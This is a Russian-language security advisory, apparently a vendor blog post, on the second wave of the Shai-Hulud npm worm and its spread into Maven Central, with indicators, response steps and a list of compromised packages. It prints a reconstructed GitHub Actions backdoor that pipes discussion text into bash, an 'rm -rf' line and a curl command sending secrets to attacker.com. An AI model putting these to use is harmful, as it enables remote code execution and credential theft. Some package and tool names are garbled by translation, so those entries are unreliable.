TL, д-р
24 ноября 2025 года исследователи обнаружили Шай Хулуд: Второе пришествие, новая волна Атака на цепочку поставок NPM который повторно заражает пакеты npm, крадет учетные данные и распространяется по машинам разработчиков и CI/CD pipelines. В отличие от первого инцидента, эта версия устанавливает среду выполнения Bun «на лету», разворачивает скрытые бэкдоры GitHub Actions и включает разрушительный вайпер, способный стирать целые домашние каталоги в Linux, macOS и Windows. В течение нескольких часов количество скомпрометированных пакетов превысило 830, что подтверждает, что это не просто вариант, а серьёзная эскалация оригинальный червь.
Влияние: любой разработчик или CI-менеджер, устанавливающий публичные пакеты npm, мог быть подвержен риску. Команды разработчиков Java также подвергаются риску после того, как зараженные пакеты были автоматически зеркалированы в Maven Central.
Немедленные действия: блокировать известные вредоносные версии, обеспечивать установку только с помощью lockfile, ротировать учетные данные npm, GitHub и облака, удалять неизвестные локальные исполнители и отслеживать такие индикаторы компрометации, как setup_bun.js, bun_environment.js и подозрительные репозитории GitHub, содержащие «Sha1-Hulud: The Second Coming».
Что изменилось: Шай Хулуд в атаке на цепочку поставок NPM после перехода на Maven
Вторая волна атаки на Шаи-Хулуд привела к серьёзной эскалации. В ходе первой кампании червь оставался внутри экосистемы npm. На этот раз вредоносное ПО проникло в Мейвен Сентрал, разоблачая команды Java, которые никогда не прикасались к npm.
Временная шкала и окно токенов
Атака началась 24 ноября 2025, прямо перед тем, как npm прекратил поддержку своих старых токенов аутентификации Декабрь 9.
Эти старые токены было проще украсть и использовать повторно. Поскольку злоумышленники всё ещё имели к ним доступ в течение этого периода, они смогли быстро опубликовать сотни вредоносных версий до истечения срока действия.
Как вредоносное ПО попало в Maven
Межрегистровой скачок произошел из-за mvnpm, автоматизированный инструмент зеркалирования, который преобразует пакеты npm в артефакты Maven.
mvnpm не выполняет проверки безопасности. Он просто переупаковывает всё, что публикует npm.
В результате:
- Скомпрометированный пакет npm (например posthog-node@4.18.1)
- Был автоматически преобразован в артефакт Maven.
org.mvnpm:posthog-node:4.18.1 - И опубликовал в Maven Central прежде, чем кто-либо понял, что он заражен.
Это означает, Разработчики Java стали жертвами взлома npm, даже если они никогда не устанавливали пакет npm.
Почему это важно
Это первый известный межреестровый червь, где атака на цепочку поставок распространяется от одной экосистемы к другой исключительно посредством автоматизации.
Благодаря этому радиус поражения теперь включает рабочие нагрузки Java, JVM и enterprise создавать системы, использующие Maven Central.
Что делает Shai Hulud 2.0 таким серьезным
Bun Runtime используется для уклонения от обнаружения
Злоумышленники перешли с Node.js на среду выполнения Bun. Вредоносное ПО устанавливает Bun «на лету» через setup_bun.js во время установки пакета. Это позволяет избежать мониторинга, специфичного для Node, и позволяет злоумышленникам быстрее выполнить очень большую обфусцированную полезную нагрузку.
Действия GitHub, используемые в качестве бэкдора команд
После установки вредоносная программа создает скрытый самостоятельный исполнитель GitHub Actions в $HOME/.dev-env/. Это работает в Windows, macOS и Linux. Злоумышленники могут выполнять команды, просто публикуя сообщения в обсуждениях GitHub на скомпрометированном репозитории. Файл рабочего процесса обрабатывает эти сообщения и выполняет их как команды оболочки.
Встроенный стеклоочиститель
Если вредоносная программа не может пройти аутентификацию на GitHub или npm, она стирает домашний каталог жертвы.
- В Windows он использует из, rd и шифр /W для стирания файлов.
- В Linux и macOS он перезаписывает данные кромсать а затем удаляет каталоги.
Очень шумная кампания
Хотя вредоносная программа использует определённую скрытность (например, используя Bun), её деятельность в целом нельзя назвать тихой. Она агрессивно переиздаёт скомпрометированные пакеты, создаёт сотни или тысячи новых репозиториев, массово загружает дампы учётных данных и устанавливает долгоживущие локальные исполняющие модули на машины разработчиков. Всё это не является чем-то незаметным. Масштаб, скорость и «громкость» этой атаки выделяются на фоне большинства атак на цепочки поставок, которые, как правило, стремятся оставаться незамеченными как можно дольше..
Широкое воздействие
Злоумышленники скомпрометировали множество известных пакетов с миллионами ежемесячных загрузок, в том числе:
Zapier, ENS Domains, Postman, PostHog, AsyncAPI и Voiceflow.
Возможные сигналы атрибуции
Атрибуция здесь затруднена, и подтверждённого источника этой кампании нет. Крупная компания, занимающаяся безопасностью, отмечает, что операция напоминает более ранний червь Shai-Hulud, но различия в структуре полезной нагрузки и способах распространения вредоносного ПО указывают на возможность использования другой группы операторов. Их оценка подчёркивает, что несколько сред загружали скомпрометированные пакеты, прежде чем npm удалил их, что говорит о реальном воздействии, а не о кратковременном тестировании.
Учитывая, что тактика атаки напоминает первую волну, но отличается в ключевых моментах, особенно в структуре полезной нагрузки, логике распространения и стиле действий, сценарий копирования вполне вероятен. Злоумышленники могли заимствовать идеи из «Шаи-Хулуда», но внедрить собственный инструментарий. Это может быть другая группа, пытающаяся полностью имитировать предыдущую кампанию.
На данный момент нет убедительных доказательств его причастности к какому-либо известному субъекту, финансово мотивированной группе или государственной организации. Совпадение с исходным червем действительно существует, но различия достаточно существенны, чтобы оставить атрибуцию в категории «неподтверждённых».
Распространение в Maven
Крупная компания по безопасности подтвердила, что вредоносные пакеты npm были автоматически переизданы в Maven через mvnpm, инструмент, который преобразует пакеты npm в артефакты Maven без ручной проверки.
Следующий пакет был отправлен в Maven Central: org.mvnpm:posthog-node:4.18.1
Поскольку mvnpm просто переупаковывает все, что публикует npm, зараженные версии были отражены в экосистеме Java еще до того, как кто-либо это осознал.
Maven Central удалил затронутые артефакты 25 ноября 2025 года и начал ужесточать контроль для предотвращения подобных проблем между реестрами.
Это означает, что проекты Java, не имеющие прямого подключения к npm, все равно могли быть уязвимы.
Как работает атака Шай Хулуд 2.0
Поток инфекции
- злонамеренный предустановка скрипт добавлен в пакет.json.
- setup_bun.js устанавливает Bun на компьютер жертвы, если он отсутствует.
- bun_environment.js (более 480 тыс. строк запутанного кода) работает в фоновом режиме.
- Вредоносная программа сканирует учетные данные, используя методы, похожие на TruffleHog. Она ищет
- Ключи AWS, GCP и Azure
- Токены GitHub
- токены npm
- Секреты системы CI
- Ключи AWS, GCP и Azure
- Украденные данные загружаются в публичные репозитории GitHub, имеющие описание «Sha1-Hulud: The Second Coming».
- Используя захваченные токены, вредоносное ПО публикует скомпрометированные версии пакетов, заражает доступные репозитории GitHub и устанавливает постоянные собственные исполняющие модули для удаленного выполнения кода.
Вредоносные рабочие процессы GitHub
Во время второй волны атаки на цепочку поставок НПМ Шаи-Хулуд вредоносное ПО, созданное два скрытых рабочих процесса GitHub Actions внутри скомпрометированных репозиториев. Эти рабочие процессы обеспечивают злоумышленникам удалённое выполнение кода, долгосрочное сохранение данных и полный доступ к системным секретам.
1. Рабочий процесс бэкдора (discussion.yaml)
Самый опасный рабочий процесс слушает Обсуждения на GitHub События. При создании или редактировании сообщения для обсуждения рабочий процесс считывает текст сообщения и выполняет его как команда оболочки на машине жертвы.
Ниже представлена упрощенная версия вредоносного рабочего процесса, реконструированная на основе наблюдаемых образцов:
# .github/workflows/discussion.yaml
name: Discussion Backdoor
on:
discussion:
types: [created, edited]
jobs:
exec:
runs-on: self-hosted
steps:
- name: Execute attacker command
run: |
echo "${{ github.event.discussion.body }}" | bash
Критическая линия:
${{ github.event.discussion.body }}
Это означает, что злоумышленник может опубликовать любую команду в обсуждении GitHub, и локальный исполнитель немедленно её выполнит. Поскольку локальные исполнители часто имеют доступ к внутренним сетям, облачным учётным данным и секретам CI, этот бэкдор позволяет злоумышленнику полностью удалённо выполнить код во время атаки на цепочку поставок NPM в Шаи-Хулуд.
Эксплуатация инъекции команд
Этот рабочий процесс использует не по назначению способ обработки выражений в GitHub Actions. Вместо того, чтобы ограничивать входные данные безопасными строками, он считывает необработанный контент обсуждения и передаёт его непосредственно в оболочку. В результате злоумышленнику достаточно опубликовать сообщение следующего вида:
rm -rf /important/folder
curl -X POST https://attacker.com --data @secrets.json
Поскольку подобное поведение неоднократно наблюдалось во время атаки на цепочку поставок NPM в Шаи-Хулуд, это стало одним из самых явных сигналов того, что вредоносная программа использовала действия GitHub в качестве канала удаленных команд.
Бегуны, принимающие гостей самостоятельно, усугубляют ситуацию, потому что они:
- работать внутри корпоративных сетей
- удерживайте облако или CI/CD Полномочия
- выполнить с разрешениями пользователя
- не имеют песочницы или изоляции GitHub
Это дает злоумышленникам постоянный канал управления внутренними средами.
Рабочий процесс сбора секретов и систем
Помимо бэкдора, вредоносная программа запускает еще один рабочий процесс, целью которого является сбор и хранение конфиденциальных данных из зараженной системы.
Эти рабочие процессы собирают:
- облачные учетные данные
- переменные среды
- списки каталогов
- Секретные сканирования в стиле TruffleHog
Собранные данные они хранят в таких файлах, как:
- облако.json
- среда.json
- content.json
- truffleSecrets.json
Затем эти файлы загружаются в контролируемые злоумышленниками репозитории GitHub с меткой «Ша1-Хулуд: Второе пришествие», где были обнаружены сотни и тысячи свалок.
Показатели компромисса
| Файл | SHA256 |
|---|---|
| setup_bun.js | a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a |
| bun_environment.js | 62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 |
Другие красные флажки
- .github/workflows/discussion.yaml
- $HOME/.dev-env/ содержащий неожиданных бегунов
- Публичные репозитории GitHub, созданные в вашей учетной записи и содержащие «Sha1-Hulud: The Second Coming»
Обновленные показатели (по состоянию на 26 ноября 2025 г.)
| Метрика | Количество |
|---|---|
| пакеты npm скомпрометированы | 830+ |
| Зараженные репозитории GitHub | 28,000+ |
| Секретные файлы загружены | 5,000+ |
| Всего собрано секретов | 11,858 |
| Действительные секреты | 2,298 |
Что делать сейчас: реагирование на атаку на цепочку поставок НПМ «Шай Хулуд»
Атака на цепочку поставок NPM в Шаи-Хулуд требует быстрого и структурированного реагирования. Поскольку эта вторая волна распространяется по npm, GitHub, компьютерам разработчиков и даже Maven Central, командам следует быстро обнаружить, локализовать и полностью устранить любые угрозы. Приведенные ниже шаги помогут вам отреагировать в правильном порядке и снизить риск дальнейших атак.
обнаружение
- Найдите на GitHub репозитории с описанием «Sha1-Hulud: The Second Coming».
- Просматривайте журналы установки Bun во время установки пакетов.
- Проверьте файлы package.json на наличие неожиданных сценариев жизненного цикла, особенно предустановка.
- Проверьте $HOME/.dev-env/ в системах разработчика или CI.
- Проверьте журналы публикаций GitHub и npm на наличие подозрительных релизов.
Политика сдерживания
- Ротация всех учетных данных: GitHub, npm, облако, секреты CI, ключи API.
- Отключите и удалите неизвестные локальные исполнители.
- Временно заблокируйте создание репозитория.
- Удалите зараженные версии из вашего графика зависимостей.
Санация
- Очистите затронутые системы.
- Просмотрите все рабочие процессы GitHub Actions для внедренных файлов.
- Проверьте журналы CI на наличие необычных команд или запусков.
Пересобрать из заведомо исправных версий пакета.
Как Xygeni помогает остановить атаки, подобные Второму пришествию Шаи-Хулуда
После столь агрессивной кампании, как «Второе пришествие Шаи-Хулуда», командам нужно больше, чем просто ручные проверки. Им нужна автоматизированная защита, блокирующая вредоносное ПО до того, как оно попадёт к разработчикам, исполнителям непрерывной интеграции или в производственные системы. Именно здесь Xygeni даёт серьёзное преимущество.
Раннее предупреждение о вредоносных программах (MEW): обнаружение угроз до их распространения
Механизм раннего оповещения Xygeni сканирует новые и обновлённые пакеты с открытым исходным кодом в режиме реального времени. Он отмечает подозрительное поведение, такое как:
- Запутанный JavaScript или массивный пакетный код
- Скрипты жизненного цикла, которые устанавливают внешние среды выполнения, такие как Bun
- Неожиданные подключения к конечным точкам GitHub, npm или облака
- Пипетки, которые пишут в
$HOME,.dev-env/или папки рабочего процесса
MEW обнаружил закономерности, использовавшиеся в обеих волнах Шаи-Хулуда, что помогает командам реагировать до того, как злоумышленники распространят инфекцию дальше.
Guardrails in CI/CD блокировать вредоносные пакеты
Xygeni обеспечивает соблюдение guardrails которые автоматически останавливают небезопасные операции:
- CI pipelines не может устанавливать пакеты со скрытыми предустановочными или постустановочными скриптами
- Сборки терпят неудачу, когда пакет пытается создать такие рабочие процессы, как
.github/workflows/discussion.yaml - Pipelines отклонять зависимости, опубликованные из ненадежных источников или впервые обнаруженных учетных записей
Это значительно сокращает поверхность атаки и предотвращает запуск вредоносного ПО внутри заданий непрерывной интеграции.
Защита секретов уменьшает радиус взрыва
Поскольку Шай-Хулуд крадет облачные ключи, токены GitHub, токены npm и секреты непрерывной интеграции, защита должна быть направлена и на учётные данные. Xygeni:
- Обнаруживает раскрытые секреты внутри кода, журналов, рабочих процессов и файлов среды
- Автоматически меняет учетные данные с высоким уровнем риска
- Обеспечивает краткосрочные токены для ограничения долгосрочных компрометаций
Даже если злоумышленник получит первоначальный доступ, украденные ключи быстро станут бесполезными.
Заключительные замечания: почему атака на цепочку поставок НПМ «Шай-Хулуд» всё ещё имеет значение
Второе пришествие Шаи-Хулуда инцидент показывает, как легко современный Атака на цепочку поставок NPM Может перемещаться между экосистемами. В данном случае вредоносное ПО перешло из npm в Maven благодаря инструментам автоматического зеркалирования, таким как mvnpm Переопубликовали скомпрометированные пакеты без проверки. В результате команды Java-разработчиков оказались уязвимы, даже если никогда не использовали npm напрямую. Это ясно показывает, что межреестровые рабочие процессы требуют немедленного анализа и усиления мер безопасности.
Более того, масштаб и характер этой кампании раскрывают, как злоумышленники действуют сегодня. Вместо того чтобы оставаться незамеченными, они публикуют сотни пакетов одновременно, развертывают скрытые GitHub-раннеры, массово крадут секретные данные и даже используют разрушительный вайпер в случае сбоя. Следовательно, ручные проверки не поспевают за таким уровнем автоматизации и скорости. Командам необходима непрерывная защита в режиме реального времени на уровне пакета, исходного кода и pipeline слои.
Почему непрерывный Pipeline Security Теперь это необходимо
Атаки типа Второе пришествие Шаи-Хулуда будет продолжать развиваться. Поэтому для предотвращения следующей волны необходимы автоматические внутренние механизмы контроля. CI/CD, а не после компрометации. Современная защита должна сочетать раннее обнаружение вредоносных программ, строгую проверку зависимостей, применение политик и защиту секретов, чтобы вредоносный код не мог незаметно перемещаться по средам разработки.
Xygeni поддерживает этот переход, предоставляя автоматизированные guardrails по всей цепочке поставок программного обеспечения. Система выявляет подозрительные пакеты перед установкой, обеспечивает использование безопасных версий зависимостей, блокирует небезопасные рабочие процессы, обнаруживает раскрытые секреты и оповещает о необычных ситуациях. pipeline В результате команды остаются защищенными даже при быстром распространении атак на цепочки поставок, выходящих за пределы экосистемы.
Список скомпрометированных пакетов
Информацию о затронутых пакетах можно также получить, используя #shai-hulud / #shai-hulud-second-coming тег внутри OpenSourceMalware.com
| Упаковка | Версия |
|---|---|
| 02-эхо | 0.0.7 |
| @accordproject/concerto-analysis | 3.24.1 |
| @accordproject/concerto-linter | 3.24.1 |
| @accordproject/concerto-linter-default-ruleset | 3.24.1 |
| @accordproject/concerto-metamodel | 3.12.5 |
| @accordproject/concerto-types | 3.24.1 |
| @accordproject/markdown-it-cicero | 0.16.26 |
| @accordproject/template-engine | 2.7.2 |
| @actbase/css-to-react-native-transform | 1.0.3 |
| @actbase/native | 0.1.32 |
| @actbase/node-server | 1.1.19 |
| @actbase/react-absolute | 0.8.3 |
| @actbase/react-daum-postcode | 1.0.5 |
| @actbase/react-kakaosdk | 0.9.27 |
| @actbase/react-native-actionsheet | 1.0.3 |
| @actbase/react-native-devtools | 0.1.3 |
| @actbase/react-native-fast-image | 8.5.13 |
| @actbase/react-native-kakao-channel | 1.0.2 |
| @actbase/react-native-kakao-navi | 2.0.4 |
| @actbase/react-native-less-transformer | 1.0.6 |
| @actbase/react-native-naver-login | 1.0.1 |
| @actbase/react-native-simple-video | 1.0.13 |
| @actbase/react-native-tiktok | 1.1.3 |
| @alexcolls/nuxt-socket.io | 0.0.7 , 0.0.8 |
| @alexcolls/nuxt-ux | 0.6.2 , 0.6.1 |
| @antstackio/eslint-config-antstack | 0.0.3 |
| @antstackio/express-graphql-proxy | 0.2.8 |
| @antstackio/graphql-body-parser | 0.1.1 |
| @antstackio/json-to-graphql | 1.0.3 |
| @antstackio/shelbysam | 1.1.7 |
| @aryanhussain/my-angular-lib | 0.0.23 |
| @asyncapi/dotnet-rabbitmq-template | 1.0.2 , 1.0.1 |
| @asyncapi/edavisualiser | 1.2.2 , 1.2.1 |
| @asyncapi/go-watermill-template | 0.2.76 , 0.2.77 |
| @asyncapi/java-template | 0.3.6 , 0.3.5 |
| @asyncapi/keeper | 0.0.3 , 0.0.2 |
| @asyncapi/php-template | 0.1.2 , 0.1.1 |
| @asyncapi/python-paho-template | 0.2.15 , 0.2.14 |
| @asyncapi/server-api | 0.16.25 , 0.16.24 |
| @asyncapi/studio | 1.0.3 , 1.0.2 |
| @asyncapi/web-component | 2.6.7 , 2.6.6 |
| @browserbasehq/bb9 | 1.2.21 |
| @browserbasehq/director-ai | 1.0.3 |
| @browserbasehq/mcp | 2.1.1 |
| @browserbasehq/mcp-server-browserbase | 2.4.2 |
| @browserbasehq/sdk-functions | 0.0.4 |
| @browserbasehq/stagehand | 3.0.4 |
| @browserbasehq/stagehand-docs | 1.0.1 |
| @caretive/caret-cli | 0.0.2 |
| @clausehq/flows-step-httprequest | 0.1.14 |
| @clausehq/flows-step-jsontoxml | 0.1.14 |
| @clausehq/flows-step-mqtt | 0.1.14 |
| @clausehq/flows-step-sendgridemail | 0.1.14 |
| @clausehq/flows-step-taskscreateurl | 0.1.14 |
| @commute/bloom | 1.0.3 |
| @commute/market-data | 1.0.2 |
| @commute/market-data-chartjs | 2.3.1 |
| @dev-blinq/ai-qa-logic | 1.0.19 |
| @dev-blinq/cucumber-js | 1.0.131 |
| @dev-blinq/cucumber_client | 1.0.738 |
| @dev-blinq/ui-systems | 1.0.93 |
| @ensdomains/address-encoder | 1.1.5 |
| @ensdomains/blacklist | 1.0.1 |
| @ensdomains/buffer | 0.1.2 |
| @ensdomains/ccip-read-cf-worker | 0.0.4 |
| @ensdomains/ccip-read-dns-gateway | 0.1.1 |
| @ensdomains/ccip-read-router | 0.0.7 |
| @ensdomains/ccip-read-worker-viem | 0.0.4 |
| @ensdomains/content-hash | 3.0.1 |
| @ensdomains/curvearithmetics | 1.0.1 |
| @ensdomains/cypress-metamask | 1.2.1 |
| @ensdomains/dnsprovejs | 0.5.3 |
| @ensdomains/dnssec-oracle-anchors | 0.0.2 |
| @ensdomains/dnssecoraclejs | 0.2.9 |
| @ensdomains/durin | 0.1.2 |
| @ensdomains/durin-middleware | 0.0.2 |
| @ensdomains/ens-archived-contracts | 0.0.3 |
| @ensdomains/ens-avatar | 1.0.4 |
| @ensdomains/ens-contracts | 1.6.1 |
| @ensdomains/ens-test-env | 1.0.2 |
| @ensdomains/ens-validation | 0.1.1 |
| @ensdomains/ensjs | 4.0.3 |
| @ensdomains/ensjs-react | 0.0.5 |
| @ensdomains/eth-ens-namehash | 2.0.16 |
| @ensdomains/хакатон-регистратор | 1.0.5 |
| @ensdomains/hardhat-chai-matchers-viem | 0.1.15 |
| @ensdomains/hardhat-toolbox-viem-extended | 0.0.6 |
| @ensdomains/mock | 2.1.52 |
| @ensdomains/name-wrapper | 1.0.1 |
| @ensdomains/offchain-resolver-contracts | 0.2.2 |
| @ensdomains/op-resolver-contracts | 0.0.2 |
| @ensdomains/react-ens-address | 0.0.32 |
| @ensdomains/renewal | 0.0.13 |
| @ensdomains/renewal-widget | 0.1.10 |
| @ensdomains/reverse-records | 1.0.1 |
| @ensdomains/server-analytics | 0.0.2 |
| @ensdomains/solsha1 | 0.0.4 |
| @ensdomains/subdomain-registrar | 0.2.4 |
| @ensdomains/test-utils | 1.3.1 |
| @ensdomains/thorin | 0.6.51 |
| @ensdomains/ui | 3.4.6 |
| @ensdomains/unicode-confusables | 0.1.1 |
| @ensdomains/unruggable-gateways | 0.0.3 |
| @ensdomains/vite-plugin-i18next-loader | 4.0.4 |
| @ensdomains/web3modal | 1.10.2 |
| @everreal/react-charts | 2.0.1 , 2.0.2 |
| @everreal/validate-esmoduleinterop-imports | 1.4.4 , 1.4.5 |
| @everreal/web-analytics | 0.0.1 , 0.0.2 |
| @faq-component/core | 0.0.4 |
| @faq-component/react | 1.0.1 |
| @fishingbooker/browser-sync-plugin | 1.0.5 |
| @fishingbooker/react-loader | 1.0.7 |
| @fishingbooker/react-pagination | 2.0.6 |
| @fishingbooker/react-raty | 2.0.1 |
| @fishingbooker/react-swiper | 0.1.5 |
| @hapheus/n8n-nodes-pgp | 1.5.1 |
| @hover-design/core | 0.0.1 |
| @hover-design/react | 0.2.1 |
| @ifelsedeveloper/protocol-contracts-svm-idl | 0.1.2 |
| @ifings/design-system | 4.9.2 |
| @ifings/metatron3 | 0.1.5 |
| @kvytech/cli | 0.0.7 |
| @kvytech/components | 0.0.2 |
| @kvytech/habbit-e2e-test | 0.0.2 |
| @kvytech/medusa-plugin-announcement | 0.0.8 |
| @kvytech/medusa-plugin-management | 0.0.5 |
| @kvytech/medusa-plugin-newsletter | 0.0.5 |
| @kvytech/medusa-plugin-product-reviews | 0.0.9 |
| @kvytech/medusa-plugin-promotion | 0.0.2 |
| @kvytech/web | 0.0.2 |
| @lessondesk/api-client | 9.12.3 , 9.12.2 |
| @lessondesk/babel-preset | 1.0.1 |
| @lessondesk/electron-group-api-client | 1.0.3 |
| @lessondesk/eslint-config | 1.4.2 |
| @lessondesk/material-icons | 1.0.3 |
| @lessondesk/react-table-context | 2.0.4 |
| @lessondesk/schoolbus | 5.2.2 , 5.2.3 |
| @livecms/live-edit | 0.0.32 |
| @livecms/nuxt-live-edit | 1.9.2 |
| @louisle2/core | 1.0.1 |
| @louisle2/cortex-js | 0.1.6 |
| @lpdjs/firestore-repo-service | 1.0.1 |
| @markvivanco/app-version-checker | 1.0.2 , 1.0.1 |
| @ntnx/passport-wso2 | 0.0.3 |
| @ntnx/t | 0.0.101 |
| @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode | 2.0.5 |
| @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode | 1.1.1 |
| @orbitgtbelgium/orbit-components | 1.2.9 |
| @orbitgtbelgium/time-slider | 1.0.187 |
| @osmanekrem/bmad | 1.0.6 |
| @osmanekrem/error-handler | 1.2.2 |
| @posthog/agent | 1.24.1 |
| @posthog/ai | 7.1.2 |
| @posthog/cli | 0.5.15 |
| @posthog/clickhouse | 1.7.1 |
| @posthog/core | 1.5.6 |
| @posthog/hedgehog-mode | 0.0.42 |
| @posthog/icons | 0.36.1 |
| @posthog/lemon-ui | 0.0.1 |
| @posthog/nextjs-config | 1.5.1 |
| @posthog/nuxt | 1.2.9 |
| @posthog/piscina | 3.2.1 |
| @posthog/plugin-contrib | 0.0.6 |
| @posthog/react-rrweb-player | 1.1.4 |
| @posthog/rrdom | 0.0.31 |
| @posthog/rrweb | 0.0.31 |
| @posthog/rrweb-player | 0.0.31 |
| @posthog/rrweb-record | 0.0.31 |
| @posthog/rrweb-replay | 0.0.19 |
| @posthog/rrweb-snapshot | 0.0.31 |
| @posthog/rrweb-utils | 0.0.31 |
| @posthog/siphash | 1.1.2 |
| @posthog/wizard | 1.18.1 |
| @postman/aether-icons | 2.23.4 , 2.23.3 , 2.23.2 |
| @postman/csv-parse | 4.0.5 , 4.0.3 , 4.0.4 |
| @postman/node-keytar | 7.9.6 , 7.9.4 , 7.9.5 |
| @postman/tunnel-agent | 0.6.7 , 0.6.6 , 0.6.5 |
| @pradhumngautam/common-app | 1.0.2 |
| @pruthvi21/use-debounce | 1.0.3 |
| @quick-start-soft/quick-document-translator | 1.4.2511142126 |
| @quick-start-soft/quick-git-clean-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-compose | 1.4.2506300029 |
| @quick-start-soft/quick-markdown-image | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-print | 1.4.2511142126 |
| @quick-start-soft/quick-markdown-translator | 1.4.2509202331 |
| @quick-start-soft/quick-remove-image-background | 1.4.2511142126 |
| @quick-start-soft/quick-task-refine | 1.4.2511142126 |
| @relyt/claude-context-core | 0.1.1 |
| @seezo/sdr-mcp-server | 0.0.5 |
| @seung-ju/next | 0.0.2 |
| @seung-ju/openapi-generator | 0.0.4 |
| @seung-ju/react-hooks | 0.0.2 |
| @seung-ju/react-native-action-sheet | 0.2.1 |
| @sme-ui/aoma-vevasound-metadata-lib | 0.1.3 |
| @strapbuild/react-native-date-time-picker | 2.0.4 |
| @strapbuild/react-native-perspective-image-cropper | 0.4.15 |
| @strapbuild/react-native-perspective-image-cropper-2 | 0.4.7 |
| @strapbuild/react-native-perspective-image-cropper-poojan31 | 0.4.6 |
| @suraj_h/medium-common | 1.0.5 |
| @thedelta/eslint-config | 1.0.2 |
| @tiaanduplessis/json | 2.0.3 , 2.0.2 |
| @tiaanduplessis/react-progressbar | 1.0.2 , 1.0.1 |
| @trefox/sleekshop-js | 0.1.6 |
| @trigo/atrix | 7.0.1 |
| @trigo/atrix-elasticsearch | 2.0.1 |
| @trigo/atrix-postgres | 1.0.3 |
| @trigo/atrix-pubsub | 4.0.3 |
| @trigo/atrix-soap | 1.0.2 |
| @trigo/atrix-swagger | 3.0.1 |
| @trigo/bool-expressions | 4.1.3 |
| @trigo/eslint-config-trigo | 3.3.1 |
| @trigo/fsm | 3.4.2 |
| @trigo/hapi-auth-signedlink | 1.3.1 |
| @trigo/pathfinder-ui-css | 0.1.1 |
| @trigo/trigo-hapijs | 5.0.1 |
| @trpc-rate-limiter/cloudflare | 0.1.4 |
| @trpc-rate-limiter/hono | 0.1.4 |
| @varsityvibe/api-client | 1.3.36 , 1.3.37 |
| @varsityvibe/utils | 5.0.6 |
| @varsityvibe/validation-schemas | 0.6.7 , 0.6.8 |
| @vishadtyagi/календарь на полный год | 0.1.11 |
| @voiceflow/alexa-types | 2.15.60 , 2.15.61 |
| @voiceflow/anthropic | 0.4.4 , 0.4.5 |
| @voiceflow/api-sdk | 3.28.58 , 3.28.59 |
| @voiceflow/backend-utils | 5.0.2 , 5.0.1 |
| @voiceflow/base-types | 2.136.3 , 2.136.2 |
| @voiceflow/body-parser | 1.21.2 , 1.21.3 |
| @voiceflow/chat-types | 2.14.59 , 2.14.58 |
| @voiceflow/circleci-config-sdk-orb-import | 0.2.1 , 0.2.2 |
| @voiceflow/commitlint-config | 2.6.2 , 2.6.1 |
| @voiceflow/common | 8.9.1 , 8.9.2 |
| @voiceflow/default-prompt-wrappers | 1.7.4 , 1.7.3 |
| @voiceflow/dependency-cruiser-config | 1.8.12 , 1.8.11 |
| @voiceflow/dtos-interact | 1.40.2 , 1.40.1 |
| @voiceflow/encryption | 0.3.3 , 0.3.2 |
| @voiceflow/eslint-config | 7.16.4 , 7.16.5 |
| @voiceflow/eslint-plugin | 1.6.2 , 1.6.1 |
| @voiceflow/исключение | 1.10.2 , 1.10.1 |
| @voiceflow/fetch | 1.11.1 , 1.11.2 |
| @voiceflow/general-types | 3.2.23 , 3.2.22 |
| @voiceflow/git-branch-check | 1.4.4 , 1.4.3 |
| @voiceflow/google-dfes-types | 2.17.12 , 2.17.13 |
| @voiceflow/google-types | 2.21.12 , 2.21.13 |
| @voiceflow/husky-config | 1.3.1 , 1.3.2 |
| @voiceflow/logger | 2.4.3 , 2.4.2 |
| @voiceflow/metrics | 1.5.2 , 1.5.1 |
| @voiceflow/natural-language-commander | 0.5.2 , 0.5.3 |
| @voiceflow/nestjs-common | 2.75.2 , 2.75.3 |
| @voiceflow/nestjs-mongodb | 1.3.1 , 1.3.2 |
| @voiceflow/nestjs-rate-limit | 1.3.3 , 1.3.2 |
| @voiceflow/nestjs-redis | 1.3.1 , 1.3.2 |
| @voiceflow/nestjs-timeout | 1.3.1 , 1.3.2 |
| @voiceflow/npm-package-json-lint-config | 1.1.1 , 1.1.2 |
| @voiceflow/openai | 3.2.2 , 3.2.3 |
| @voiceflow/pino | 6.11.4 , 6.11.3 |
| @voiceflow/pino-pretty | 4.4.2 , 4.4.1 |
| @voiceflow/prettier-config | 1.10.2 , 1.10.1 |
| @voiceflow/react-chat | 1.65.4 , 1.65.3 |
| @voiceflow/runtime | 1.29.1 , 1.29.2 |
| @voiceflow/runtime-client-js | 1.17.3 , 1.17.2 |
| @voiceflow/sdk-runtime | 1.43.2 , 1.43.1 |
| @voiceflow/secrets-provider | 1.9.3 , 1.9.2 |
| @voiceflow/semantic-release-config | 1.4.2 , 1.4.1 |
| @voiceflow/serverless-plugin-typescript | 2.1.7 , 2.1.8 |
| @voiceflow/slate-serializer | 1.7.4 , 1.7.3 |
| @voiceflow/stitches-react | 2.3.3 , 2.3.2 |
| @voiceflow/storybook-config | 1.2.2 , 1.2.3 |
| @voiceflow/stylelint-config | 1.1.1 , 1.1.2 |
| @voiceflow/test-common | 2.1.1 , 2.1.2 |
| @voiceflow/tsconfig | 1.12.2 , 1.12.1 |
| @voiceflow/tsconfig-paths | 1.1.5 , 1.1.4 |
| @voiceflow/utils-designer | 1.74.19 , 1.74.20 |
| @voiceflow/verror | 1.1.5 , 1.1.4 |
| @voiceflow/vite-config | 2.6.2 , 2.6.3 |
| @voiceflow/vitest-config | 1.10.3 , 1.10.2 |
| @voiceflow/voice-types | 2.10.59 , 2.10.58 |
| @voiceflow/voiceflow-types | 3.32.45 , 3.32.46 |
| @voiceflow/widget | 1.7.18 , 1.7.19 |
| @zapier/ai-actions | 0.1.20 , 0.1.19 , 0.1.18 |
| @zapier/babel-preset-zapier | 6.4.2 , 6.4.1 , 6.4.3 |
| @zapier/browserslist-config-zapier | 1.0.4 , 1.0.3 , 1.0.5 |
| @zapier/secret-scrubber | 1.1.5 , 1.1.4 , 1.1.3 |
| ай-кроул-щит | 1.0.7 |
| arc-cli-fc | 1.0.1 |
| asyncapi-preview | 1.0.2 , 1.0.1 |
| атрикс | 1.0.1 |
| модель_автоматизации | 1.0.491 |
| axios-builder | 1.2.1 |
| axios-отменяемый | 1.0.2 , 1.0.1 |
| axios-timed | 1.0.2 , 1.0.1 |
| barebones-css | 1.1.4 , 1.1.3 |
| benmostyn-frame-print | 1.0.1 |
